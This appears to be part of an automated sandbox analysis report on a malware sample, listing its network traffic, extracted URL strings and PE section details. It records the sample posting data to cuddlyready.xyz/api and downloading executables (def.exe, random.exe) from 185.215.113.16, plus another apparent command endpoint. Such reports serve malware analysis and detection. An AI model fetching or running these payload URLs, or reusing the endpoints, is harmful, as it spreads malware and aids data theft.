Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=EK106EC5EBGUZ28BZ98User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1253Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q9L5HS7YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570665Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: cuddlyready.xyz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz

Source: w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/?
Source: w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/M
Source: w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/g
Source: w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exesz
Source: w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exev
Source: w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe)
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001034000.00000004.00000020.00020000.00000000.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206%
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001034000.00000004.00000020.00020000.00000000.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001039000.00000004.00000020.00020000.00000000.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.000000000102C000.00000004.00000020.00020000.00000000.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Y
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpR
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.000000000102C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: w23Vg439U1.exe, 00000000.00000003.1601052092.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507394489.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1651432993.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617761397.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1579478212.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1579817826.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microp
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1651203923.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1650509334.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1531669076.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1651503293.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507394489.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507242913.000000000167B000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1554835561.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507242913.0000000001682000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576619159.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617607312.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576947040.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1531202678.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1530604207.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz//
Source: w23Vg439U1.exe, 00000000.00000003.1617363532.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1651203923.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1554798503.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1552536345.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1552710221.0000000005DF4000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1552677399.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1600964389.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1552798215.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617703017.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576619159.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576947040.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/G3
Source: w23Vg439U1.exe, 00000000.00000003.1600964389.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/K2%
Source: w23Vg439U1.exe, 00000000.00000003.1507242913.0000000001696000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617761397.000000000169B000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507394489.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576636078.00000000016F3000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1554213571.0000000001719000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001719000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617761397.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507242913.000000000167B000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1554835561.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507394489.000000000169A000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/api
Source: w23Vg439U1.exe, 00000000.00000003.1554213571.0000000001719000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apistriN
Source: w23Vg439U1.exe, 00000000.00000003.1650509334.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1651503293.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617607312.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/d
Source: w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/erK
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/gr#
Source: w23Vg439U1.exe, 00000000.00000003.1650509334.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617607312.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/k
Source: w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/pi
Source: w23Vg439U1.exe, 00000000.00000003.1617761397.000000000169B000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1530604207.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz:443/api
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: w23Vg439U1.exe, 00000000.00000003.1554281079.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: w23Vg439U1.exe, 00000000.00000003.1554281079.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: w23Vg439U1.exe, 00000000.00000003.1554170268.0000000005E06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: w23Vg439U1.exe, 00000000.00000003.1554281079.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: w23Vg439U1.exe, 00000000.00000003.1554281079.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: w23Vg439U1.exe, 00000000.00000003.1554281079.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: w23Vg439U1.exe, 00000000.00000003.1554281079.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.8:49713 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: w23Vg439U1.exe	Static PE information: section name:
Source: w23Vg439U1.exe	Static PE information: section name: .idata
Source: w23Vg439U1.exe	Static PE information: section name:
Source: 3OJIEMQOE0U9W5K609DU0.exe.0.dr	Static PE information: section name:
Source: 3OJIEMQOE0U9W5K609DU0.exe.0.dr	Static PE information: section name: .idata
Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr	Static PE information: section name:
